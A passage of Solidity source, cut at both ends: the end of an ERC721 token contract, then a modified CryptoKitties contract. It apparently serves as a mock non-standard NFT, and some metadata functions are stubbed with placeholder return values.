(uint256 => address) private _tokenApprovals; // Mapping from owner to number of owned token mapping (address => Counters.Counter) private _ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; constructor() public { // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); } /** * @dev Gets the balance of the specified address. * @param owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address owner) public view returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _ownedTokensCount[owner].current(); } /** * @dev Gets the owner of the specified token ID. * @param tokenId uint256 ID of the token to query the owner of * @return address currently marked as the owner of the given token ID */ function ownerOf(uint256 tokenId) public view returns (address) { address owner = _tokenOwner[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev Approves another address to transfer the given token ID * The zero address indicates there is no approved address. * There can only be one approved address per token at a given time. * Can only be called by the token owner or an approved operator. * @param to address to be approved for the given token ID * @param tokenId uint256 ID of the token to be approved */ function approve(address to, uint256 tokenId) public { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(msg.sender == owner || isApprovedForAll(owner, msg.sender), "ERC721: approve caller is not owner nor approved for all" ); _tokenApprovals[tokenId] = to; emit NFTApproval(owner, to, tokenId); } /** * @dev Gets the approved address for a token ID, or zero if no address set * Reverts if the token ID does not exist. * @param tokenId uint256 ID of the token to query the approval of * @return address currently approved for the given token ID */ function getApproved(uint256 tokenId) public view returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev Sets or unsets the approval of a given operator * An operator is allowed to transfer all tokens of the sender on their behalf. * @param to operator address to set the approval * @param approved representing the status of the approval to be set */ function setApprovalForAll(address to, bool approved) public { require(to != msg.sender, "ERC721: approve to caller"); _operatorApprovals[msg.sender][to] = approved; emit NFTApprovalForAll(msg.sender, to, approved); } /** * @dev Tells whether an operator is approved by a given owner. * @param owner owner address which you want to query the approval of * @param operator operator address which you want to query the approval of * @return bool whether the given operator is approved by the given owner */ function isApprovedForAll(address owner, address operator) public view returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev Transfers the ownership of a given token ID to another address. * Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * Requires the msg.sender to be the owner, approved, or operator. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function transferFrom(address from, address to, uint256 tokenId) public { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved"); _transferFrom(from, to, tokenId); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement {IERC721Receiver-onERC721Received}, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function safeTransferFrom(address from, address to, uint256 tokenId) public { safeTransferFrom(from, to, tokenId, ""); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement {IERC721Receiver-onERC721Received}, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public { transferFrom(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether the specified token exists. * @param tokenId uint256 ID of the token to query the existence of * @return bool whether the token exists */ function _exists(uint256 tokenId) internal view returns (bool) { address owner = _tokenOwner[tokenId]; return owner != address(0); } /** * @dev Returns whether the given spender can transfer a given token ID. * @param spender address of the spender to query * @param tokenId uint256 ID of the token to be transferred * @return bool whether the msg.sender is approved for the given token ID, * is an operator of the owner, or is the owner of the token */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Internal function to mint a new token. * Reverts if the given token ID already exists. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _mint(address to, uint256 tokenId) internal { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _tokenOwner[tokenId] = to; _ownedTokensCount[to].increment(); emit NFTTransfer(address(0), to, tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * Deprecated, use {_burn} instead. * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned */ function _burn(address owner, uint256 tokenId) internal { require(ownerOf(tokenId) == owner, "ERC721: burn of token that is not own"); _clearApproval(tokenId); _ownedTokensCount[owner].decrement(); _tokenOwner[tokenId] = address(0); emit NFTTransfer(owner, address(0), tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * @param tokenId uint256 ID of the token being burned */ function _burn(uint256 tokenId) internal { _burn(ownerOf(tokenId), tokenId); } /** * @dev Internal function to transfer ownership of a given token ID to another address. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function _transferFrom(address from, address to, uint256 tokenId) internal { require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _clearApproval(tokenId); _ownedTokensCount[from].decrement(); _ownedTokensCount[to].increment(); _tokenOwner[tokenId] = to; emit NFTTransfer(from, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * This function is deprecated. * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) internal returns (bool) { if (!to.isContract()) { return true; } bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data); return (retval == _ERC721_RECEIVED); } /** * @dev Private function to clear current approval of a given token ID. * @param tokenId uint256 ID of the token to be transferred */ function _clearApproval(uint256 tokenId) private { if (_tokenApprovals[tokenId] != address(0)) { _tokenApprovals[tokenId] = address(0); } } }/** * Submitted for verification at Etherscan.io on 2017-11-28 * @note: represents a non-standard ERC721 token that does not * implement safeTransferFrom */ pragma solidity 0.5.12; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens /// @author Dieter Shirley <dete@axiomzen.co> (https://github.com/dete) contract ERC721 { // Required methods function totalSupply() public view returns (uint256 total); function balanceOf(address _owner) public view returns (uint256 balance); function ownerOf(uint256 _tokenId) external view returns (address owner); function approve(address _to, uint256 _tokenId) external; function transfer(address _to, uint256 _tokenId) external; function transferFrom(address _from, address _to, uint256 _tokenId) external; // Events event Transfer(address from, address to, uint256 tokenId); event Approval(address owner, address approved, uint256 tokenId); // Optional // function name() public view returns (string name); // function symbol() public view returns (string symbol); // function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds); // function tokenMetadata(uint256 _tokenId, string _preferredTransport) public view returns (string infoUrl); // ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165) function supportsInterface(bytes4 _interfaceID) external view returns (bool); } // // Auction wrapper functions // Auction wrapper functions /// @title SEKRETOOOO contract GeneScienceInterface { /// @dev simply a boolean to indicate this is the contract we expect to be function isGeneScience() public pure returns (bool); /// @dev given genes of kitten 1 & 2, return a genetic combination - may have a random factor /// @param genes1 genes of mom /// @param genes2 genes of sire /// @return the genes that are supposed to be passed down the child function mixGenes(uint256 genes1, uint256 genes2, uint256 targetBlock) public returns (uint256); } /// @title A facet of KittyCore that manages special access privileges. /// @author Axiom Zen (https://www.axiomzen.co) /// @dev See the KittyCore contract documentation to understand how the various contract facets are arranged. contract KittyAccessControl { // This facet controls access control for CryptoKitties. There are four roles managed here: // // - The CEO: The CEO can reassign other roles and change the addresses of our dependent smart // contracts. It is also the only role that can unpause the smart contract. It is initially // set to the address that created the smart contract in the KittyCore constructor. // // - The CFO: The CFO can withdraw funds from KittyCore and its auction contracts. // // - The COO: The COO can release gen0 kitties to auction, and mint promo cats. // // It should be noted that these roles are distinct without overlap in their access abilities, the // abilities listed for each role above are exhaustive. In particular, while the CEO can assign any // address to any role, the CEO address itself doesn't have the ability to act in those roles. This // restriction is intentional so that we aren't tempted to use the CEO address frequently out of // convenience. The less we use an address, the less likely it is that we somehow compromise the // account. /// @dev Emited when contract is upgraded - See README.md for updgrade plan event ContractUpgrade(address newContract); // The addresses of the accounts (or contracts) that can execute actions within each roles. address public ceoAddress; address public cfoAddress; address public cooAddress; // @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; /// @dev Access modifier for CEO-only functionality modifier onlyCEO() { require(msg.sender == ceoAddress); _; } /// @dev Access modifier for CFO-only functionality modifier onlyCFO() { require(msg.sender == cfoAddress); _; } /// @dev Access modifier for COO-only functionality modifier onlyCOO() { require(msg.sender == cooAddress); _; } modifier onlyCLevel() { require( msg.sender == cooAddress || msg.sender == ceoAddress || msg.sender == cfoAddress ); _; } /// @dev Assigns a new address to act as the CEO. Only available to the current CEO. /// @param _newCEO The address of the new CEO function setCEO(address _newCEO) external onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } /// @dev Assigns a new address to act as the CFO. Only available to the current CEO. /// @param _newCFO The address of the new CFO function setCFO(address _newCFO) external onlyCEO { require(_newCFO != address(0)); cfoAddress = _newCFO; } /// @dev Assigns a new address to act as the COO. Only available to the current CEO. /// @param _newCOO The address of the new COO function setCOO(address _newCOO) external onlyCEO { require(_newCOO != address(0)); cooAddress = _newCOO; } /*** Pausable functionality adapted from OpenZeppelin ***/ /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } /// @dev Called by any "C-level" role to pause the contract. Used only when /// a bug or exploit is detected and we need to limit damage. function pause() external onlyCLevel whenNotPaused { paused = true; } /// @dev Unpauses the smart contract. Can only be called by the CEO, since /// one reason we may pause the contract is when CFO or COO accounts are /// compromised. /// @notice This is public rather than external so it can be called by /// derived contracts. function unpause() public onlyCEO whenPaused { // can't unpause if contract was upgraded paused = false; } } /// @title Base contract for CryptoKitties. Holds all common structs, events and base variables. /// @author Axiom Zen (https://www.axiomzen.co) /// @dev See the KittyCore contract documentation to understand how the various contract facets are arranged. contract KittyBase is KittyAccessControl { /*** EVENTS ***/ /// @dev The Birth event is fired whenever a new kitten comes into existence. This obviously /// includes any time a cat is created through the giveBirth method, but it is also called /// when a new gen0 cat is created. event Birth(address owner, uint256 kittyId, uint256 matronId, uint256 sireId, uint256 genes); /// @dev Transfer event as defined in current draft of ERC721. Emitted every time a kitten /// ownership is assigned, including births. event Transfer(address from, address to, uint256 tokenId); /*** DATA TYPES ***/ /// @dev The main Kitty struct. Every cat in CryptoKitties is represented by a copy /// of this structure, so great care was taken to ensure that it fits neatly into /// exactly two 256-bit words. Note that the order of the members in this structure /// is important because of the byte-packing rules used by Ethereum. /// Ref: http://solidity.readthedocs.io/en/develop/miscellaneous.html struct Kitty { // The Kitty's genetic code is packed into these 256-bits, the format is // sooper-sekret! A cat's genes never change. uint256 genes; // The timestamp from the block when this cat came into existence. uint64 birthTime; // The minimum timestamp after which this cat can engage in breeding // activities again. This same timestamp is used for the pregnancy // timer (for matrons) as well as the siring cooldown. uint64 cooldownEndBlock; // The ID of the parents of this kitty, set to 0 for gen0 cats. // Note that using 32-bit unsigned integers limits us to a "mere" // 4 billion cats. This number might seem small until you realize // that Ethereum currently has a limit of about 500 million // transactions per year! So, this definitely won't be a problem // for several years (even as Ethereum learns to scale). uint32 matronId; uint32 sireId; // Set to the ID of the sire cat for matrons that are pregnant, // zero otherwise. A non-zero value here is how we know a cat // is pregnant. Used to retrieve the genetic material for the new // kitten when the birth transpires. uint32 siringWithId; // Set to the index in the cooldown array (see below) that represents // the current cooldown duration for this Kitty. This starts at zero // for gen0 cats, and is initialized to floor(generation/2) for others. // Incremented by one for each successful breeding action, regardless // of whether this cat is acting as matron or sire. uint16 cooldownIndex; // The "generation number" of this cat. Cats minted by the CK contract // for sale are called "gen0" and have a generation number of 0. The // generation number of all other cats is the larger of the two generation // numbers of their parents, plus one. // (i.e. max(matron.generation, sire.generation) + 1) uint16 generation; } /*** CONSTANTS ***/ /// @dev A lookup table indicating the cooldown duration after any successful /// breeding action, called "pregnancy time" for matrons and "siring cooldown" /// for sires. Designed such that the cooldown roughly doubles each time a cat /// is bred, encouraging owners not to just keep breeding the same cat over /// and over again. Caps out at one week (a cat can breed an unbounded number /// of times, and the maximum cooldown is always seven days). uint32[14] public cooldowns = [ uint32(1 minutes), uint32(2 minutes), uint32(5 minutes), uint32(10 minutes), uint32(30 minutes), uint32(1 hours), uint32(2 hours), uint32(4 hours), uint32(8 hours), uint32(16 hours), uint32(1 days), uint32(2 days), uint32(4 days), uint32(7 days) ]; // An approximation of currently how many seconds are in between blocks. uint256 public secondsPerBlock = 15; /*** STORAGE ***/ /// @dev An array containing the Kitty struct for all Kitties in existence. The ID /// of each cat is actually an index into this array. Note that ID 0 is a negacat, /// the unKitty, the mythical beast that is the parent of all gen0 cats. A bizarre /// creature that is both matron and sire... to itself! Has an invalid genetic code. /// In other words, cat ID 0 is invalid... ;-) Kitty[] kitties; /// @dev A mapping from cat IDs to the address that owns them. All cats have /// some valid owner address, even gen0 cats are created with a non-zero owner. mapping (uint256 => address) public kittyIndexToOwner; // @dev A mapping from owner address to count of tokens that address owns. // Used internally inside balanceOf() to resolve ownership count. mapping (address => uint256) ownershipTokenCount; /// @dev A mapping from KittyIDs to an address that has been approved to call /// transferFrom(). Each Kitty can only have one approved address for transfer /// at any time. A zero value means no approval is outstanding. mapping (uint256 => address) public kittyIndexToApproved; /// @dev A mapping from KittyIDs to an address that has been approved to use /// this Kitty for siring via breedWith(). Each Kitty can only have one approved /// address for siring at any time. A zero value means no approval is outstanding. mapping (uint256 => address) public sireAllowedToAddress; /// @dev The address of the ClockAuction contract that handles sales of Kitties. This /// same contract handles both peer-to-peer sales as well as the gen0 sales which are /// initiated every 15 minutes. SaleClockAuction public saleAuction; /// @dev The address of a custom ClockAuction subclassed contract that handles siring /// auctions. Needs to be separate from saleAuction because the actions taken on success /// after a sales and siring auction are quite different. SiringClockAuction public siringAuction; /// @dev Assigns ownership of a specific Kitty to an address. function _transfer(address _from, address _to, uint256 _tokenId) internal { // Since the number of kittens is capped to 2^32 we can't overflow this ownershipTokenCount[_to]++; // transfer ownership kittyIndexToOwner[_tokenId] = _to; // When creating new kittens _from is 0x0, but we can't account that address. if (_from != address(0)) { ownershipTokenCount[_from]--; // once the kitten is transferred also clear sire allowances delete sireAllowedToAddress[_tokenId]; // clear any previously approved ownership exchange delete kittyIndexToApproved[_tokenId]; } // Emit the transfer event. emit Transfer(_from, _to, _tokenId); } /// @dev An internal method that creates a new kitty and stores it. This /// method doesn't do any checking and should only be called when the /// input data is known to be valid. Will generate both a Birth event /// and a Transfer event. /// @param _matronId The kitty ID of the matron of this cat (zero for gen0) /// @param _sireId The kitty ID of the sire of this cat (zero for gen0) /// @param _generation The generation number of this cat, must be computed by caller. /// @param _genes The kitty's genetic code. /// @param _owner The inital owner of this cat, must be non-zero (except for the unKitty, ID 0) function _createKitty( uint256 _matronId, uint256 _sireId, uint256 _generation, uint256 _genes, address _owner ) internal returns (uint) { // These requires are not strictly necessary, our calling code should make // sure that these conditions are never broken. However! _createKitty() is already // an expensive call (for storage), and it doesn't hurt to be especially careful // to ensure our data structures are always valid. require(_matronId == uint256(uint32(_matronId))); require(_sireId == uint256(uint32(_sireId))); require(_generation == uint256(uint16(_generation))); // New kitty starts with the same cooldown as parent gen/2 uint16 cooldownIndex = uint16(_generation / 2); if (cooldownIndex > 13) { cooldownIndex = 13; } Kitty memory _kitty = Kitty({ genes: _genes, birthTime: uint64(now), cooldownEndBlock: 0, matronId: uint32(_matronId), sireId: uint32(_sireId), siringWithId: 0, cooldownIndex: cooldownIndex, generation: uint16(_generation) }); uint256 newKittenId = kitties.push(_kitty) - 1; // It's probably never going to happen, 4 billion cats is A LOT, but // let's just be 100% sure we never let this happen. require(newKittenId == uint256(uint32(newKittenId))); // emit the birth event emit Birth( _owner, newKittenId, uint256(_kitty.matronId), uint256(_kitty.sireId), _kitty.genes ); // This will assign ownership, and also emit the Transfer event as // per ERC721 draft _transfer(address(0), _owner, newKittenId); return newKittenId; } // Any C-level can fix how many seconds per blocks are currently observed. function setSecondsPerBlock(uint256 secs) external onlyCLevel { require(secs < cooldowns[0]); secondsPerBlock = secs; } } /// @title The external contract that is responsible for generating metadata for the kitties, /// it has one function that will return the data as bytes. contract ERC721Metadata { /// @dev Given a token Id, returns a byte array that is supposed to be converted into string. function getMetadata(uint256 _tokenId, string memory value) public view returns (bytes32[4] memory buffer, uint256 count) { if (_tokenId == 1) { buffer[0] = "Hello World! :D"; count = 15; } else if (_tokenId == 2) { buffer[0] = "I would definitely choose a medi"; buffer[1] = "um length string."; count = 49; } else if (_tokenId == 3) { buffer[0] = "Lorem ipsum dolor sit amet, mi e"; buffer[1] = "st accumsan dapibus augue lorem,"; buffer[2] = " tristique vestibulum id, libero"; buffer[3] = " suscipit varius sapien aliquam."; count = 128; } } } /// @title The facet of the CryptoKitties core contract that manages ownership, ERC-721 (draft) compliant. /// @author Axiom Zen (https://www.axiomzen.co) /// @dev Ref: https://github.com/ethereum/EIPs/issues/721 /// See the KittyCore contract documentation to understand how the various contract facets are arranged. contract KittyOwnership is KittyBase, ERC721 { /// @notice Name and symbol of the non fungible token, as defined in ERC721. string public constant name = "CryptoKitties"; string public constant symbol = "CK"; // The contract that will return kitty metadata ERC721Metadata public erc721Metadata; bytes4 constant InterfaceSignature_ERC165 = bytes4(keccak256('supportsInterface(bytes4)')); bytes4 constant InterfaceSignature_ERC721 = bytes4(keccak256('name()')) ^ bytes4(keccak256('symbol()')) ^ bytes4(keccak256('totalSupply()')) ^ bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('ownerOf(uint256)')) ^ bytes4(keccak256('approve(address,uint256)')) ^ bytes4(keccak256('transfer(address,uint256)')) ^ bytes4(keccak256('transferFrom(address,address,uint256)')) ^ bytes4(keccak256('tokensOfOwner(address)')) ^ bytes4(keccak256('tokenMetadata(uint256,string)')); /// @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165). /// Returns true for any standardized interfaces implemented by this contract. We implement /// ERC-165 (obviously!) and ERC-721. function supportsInterface(bytes4 _interfaceID) external view returns (bool) { // DEBUG ONLY //require((InterfaceSignature_ERC165 == 0x01ffc9a7) && (InterfaceSignature_ERC721 == 0x9a20483d)); return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721)); } /// @dev Set the address of the sibling contract that tracks metadata. /// CEO only. function setMetadataAddress(address _contractAddress) public onlyCEO { erc721Metadata = ERC721Metadata(_contractAddress); } // Internal utility functions: These functions all assume that their input arguments // are valid. We leave it to public methods to sanitize their inputs and follow // the required logic. /// @dev Checks if a given address is the current owner of a particular Kitty. /// @param _claimant the address we are validating against. /// @param _tokenId kitten id, only valid when > 0 function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return kittyIndexToOwner[_tokenId] == _claimant; } /// @dev Checks if a given address currently has transferApproval for a particular Kitty. /// @param _claimant the address we are confirming kitten is approved for. /// @param _tokenId kitten id, only valid when > 0 function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) { return kittyIndexToApproved[_tokenId] == _claimant; } /// @dev Marks an address as being approved for transferFrom(), overwriting any previous /// approval. Setting _approved to address(0) clears all transfer approval. /// NOTE: _approve() does NOT send the Approval event. This is intentional because /// _approve() and transferFrom() are used together for putting Kitties on auction, and /// there is no value in spamming the log with Approval events in that case. function _approve(uint256 _tokenId, address _approved) internal { kittyIndexToApproved[_tokenId] = _approved; } /// @notice Returns the number of Kitties owned by a specific address. /// @param _owner The owner address to check. /// @dev Required for ERC-721 compliance function balanceOf(address _owner) public view returns (uint256 count) { return ownershipTokenCount[_owner]; } /// @notice Transfers a Kitty to another address. If transferring to a smart /// contract be VERY CAREFUL to ensure that it is aware of ERC-721 (or /// CryptoKitties specifically) or your Kitty may be lost forever. Seriously. /// @param _to The address of the recipient, can be a user or contract. /// @param _tokenId The ID of the Kitty to transfer. /// @dev Required for ERC-721 compliance. function transfer( address _to, uint256 _tokenId ) external whenNotPaused { // Safety check to prevent against an unexpected 0x0 default. require(_to != address(0)); // Disallow transfers to this contract to prevent accidental misuse. // The contract should never own any kitties (except very briefly // after a gen0 cat is created and before it goes on auction). require(_to != address(this)); // Disallow transfers to the auction contracts to prevent accidental // misuse. Auction contracts should only take ownership of kitties // through the allow + transferFrom flow. require(_to != address(saleAuction)); require(_to != address(siringAuction)); // You can only send your own cat. require(_owns(msg.sender, _tokenId)); // Reassign ownership, clear pending approvals, emit Transfer event. _transfer(msg.sender, _to, _tokenId); } /// @notice Grant another address the right to transfer a specific Kitty via /// transferFrom(). This is the preferred flow for transfering NFTs to contracts. /// @param _to The address to be granted transfer approval. Pass address(0) to /// clear all approvals. /// @param _tokenId The ID of the Kitty that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function approve( address _to, uint256 _tokenId ) external whenNotPaused { // Only an owner can grant transfer approval. require(_owns(msg.sender, _tokenId)); // Register the approval (replacing any previous approval). _approve(_tokenId, _to); // Emit approval event. emit Approval(msg.sender, _to, _tokenId); } /// @notice Transfer a Kitty owned by another address, for which the calling address /// has previously been granted transfer approval by the owner. /// @param _from The address that owns the Kitty to be transfered. /// @param _to The address that should take ownership of the Kitty. Can be any address, /// including the caller. /// @param _tokenId The ID of the Kitty to be transferred. /// @dev Required for ERC-721 compliance. function transferFrom( address _from, address _to, uint256 _tokenId ) external whenNotPaused { // Safety check to prevent against an unexpected 0x0 default. require(_to != address(0)); // Disallow transfers to this contract to prevent accidental misuse. // The contract should never own any kitties (except very briefly // after a gen0 cat is created and before it goes on auction). require(_to != address(this)); // Check for approval and valid ownership require(_approvedFor(msg.sender, _tokenId)); require(_owns(_from, _tokenId)); // Reassign ownership (also clears pending approvals and emits Transfer event). _transfer(_from, _to, _tokenId); } /// @notice Returns the total number of Kitties currently in existence. /// @dev Required for ERC-721 compliance. function totalSupply() public view returns (uint) { return kitties.length - 1; } /// @notice Returns the address currently assigned ownership of a given Kitty. /// @dev Required for ERC-721 compliance. function ownerOf(uint256 _tokenId) external view returns (address owner) { owner = kittyIndexToOwner[_tokenId]; require(owner != address(0)); } /// @notice Returns a list of all Kitty IDs assigned to an address. /// @param _owner The owner whose Kitties we are interested in. /// @dev This method MUST NEVER be called by smart contract code. First, it's fairly /// expensive (it walks the entire Kitty array looking for cats belonging to owner), /// but it also returns a dynamic array, which is only supported for web3 calls, and /// not contract-to-contract calls. function tokensOfOwner(address _owner) external view returns(uint256[] memory ownerTokens) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { // Return an empty array return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 totalCats = totalSupply(); uint256 resultIndex = 0; // We count on the fact that all cats have IDs starting at 1 and increasing // sequentially up to the totalCat count. uint256 catId; for (catId = 1; catId <= totalCats; catId++) { if (kittyIndexToOwner[catId] == _owner) { result[resultIndex] = catId; resultIndex++; } } return result; } } /// @dev Adapted from memcpy() by @arachnid (Nick Johnson <arachnid@notdot.net>) /// This method is licenced under the Apache License. /// Ref: https://github.com/Arachnid/solidity-stringutils/blob/2f6ca9accb48ae14c66f1437ec50ed19a0616f78/strings.sol function _memcpy(uint _dest, uint _src, uint _len) private view { // Copy word-length chunks while possible for(; _len >= 32; _len -= 32) { assembly { mstore(_dest, mload(_src)) } _dest += 32; _src += 32; } // Copy remaining bytes uint256 mask = 256 ** (32 - _len) - 1; assembly { let srcpart := and(mload(_src), not(mask)) let destpart := and(mload(_dest), mask) mstore(_dest, or(destpart, srcpart)) } } /// @dev Adapted from toString(slice) by @arachnid (Nick Johnson <arachnid@notdot.net>) /// This method is licenced under the Apache License. /// Ref: https://github.com/Arachnid/solidity-stringutils/blob/2f6ca9accb48ae14c66f1437ec50ed19a0616f78/strings.sol function _toString(bytes32[4] storage _rawBytes, uint256 _stringLength) private view returns (string memory) { return 'string return'; } /// @notice Returns a URI pointing to a metadata package for this token conforming to /// ERC-721 (https://github.com/ethereum/EIPs/issues/721) /// @param _tokenId The ID number of the Kitty whose metadata should be returned. function tokenMetadata(uint256 _tokenId, string calldata _preferredTransport) external view returns (string memory infoUrl) { return 'infoUrl'; } } /// @title A facet of KittyCore that manages Kitty siring, gestation, and birth. /// @author Axiom Zen (https://www.axiomzen.co) /// @dev See the KittyCore contract documentation to understand how the various contract facets are arranged. contract KittyBreeding is KittyOwnership { /// @dev The Pregnant event is fired when two cats successfully breed and the pregnancy /// timer begins for the matron. event Pregnant(address owner, uint256 matronId, uint256 sireId, uint256 cooldownEndBlock); /// @notice The minimum payment required to use breedWithAuto(). This fee goes towards /// the gas cost paid by whatever calls giveBirth(), and can be dynamically updated by /// the COO role as the gas price changes. uint256 public autoBirthFee = 2 finney; // Keeps track of number of pregnant kitties. uint256 public pregnantKitties; /// @dev The address of the sibling contract that is used to implement the sooper-sekret /// genetic combination algorithm. GeneScienceInterface public geneScience; /// @dev Update the address of the genetic contract, can only be called by the CEO. /// @param _address An address of a GeneScience contract instance to be used from this point forward. function setGeneScienceAddress(address _address) external onlyCEO { GeneScienceInterface candidateContract = GeneScienceInterface(_address); // NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117 require(candidateContract.isGeneScience()); // Set the new contract address geneScience = candidateContract; } /// @dev Checks that a given kitten is able to breed. Requires that the /// current cooldown is finished (for sires) and also checks that there is /// no pending pregnancy. function _isReadyToBreed(Kitty memory _kit) internal view returns (bool) { // In addition to checking the cooldownEndBlock, we also need to check to see if // the cat has a pending birth; there can be some period of time between the end // of the pregnacy timer and the birth event. return (_kit.siringWithId == 0) && (_kit.cooldownEndBlock <= uint64(block.number)); } /// @dev Check if a sire has authorized breeding with this matron. True if both sire /// and matron have the same owner, or if the sire has given siring permission to /// the matron's owner (via approveSiring()). function _isSiringPermitted(uint256 _sireId, uint256 _matronId) internal view returns (bool) { address matronOwner = kittyIndexToOwner[_matronId]; address sireOwner = kittyIndexToOwner[_sireId]; // Siring is okay if they have same owner, or if the matron's owner was given // permission to breed with this sire. return (matronOwner == sireOwner || sireAllowedToAddress[_sireId] == matronOwner); } /// @dev Set the cooldownEndTime for the given Kitty, based on its current cooldownIndex. /// Also increments the cooldownIndex (unless it has hit the cap). /// @param _kitten A reference to the Kitty in storage which needs its timer started. function _triggerCooldown(Kitty storage _kitten) internal { // Compute an estimation of the cooldown time in blocks (based on current cooldownIndex). _kitten.cooldownEndBlock = uint64((cooldowns[_kitten.cooldownIndex]/secondsPerBlock) + block.number); // Increment the breeding count, clamping it at 13, which is the length of the // cooldowns array. We could check the array size dynamically, but hard-coding // this as a constant saves gas. Yay, Solidity! if (_kitten.cooldownIndex < 13) { _kitten.cooldownIndex += 1; } } /// @notice Grants approval to another user to sire with one of your Kitties. /// @param _addr The address that will be able to sire with your Kitty. Set to /// address(0) to clear all siring approvals for this Kitty. /// @param _sireId A Kitty that you own that _addr will now be able to sire with. function approveSiring(address _addr, uint256 _sireId) external whenNotPaused { require(_owns(msg.sender, _sireId)); sireAllowedToAddress[_sireId] = _addr; } /// @dev Updates the minimum payment required for calling giveBirthAuto(). Can only /// be called by the COO address. (This fee is used to offset the gas cost incurred /// by the autobirth daemon). function setAutoBirthFee(uint256 val) external onlyCOO { autoBirthFee = val; } /// @dev Checks to see if a given 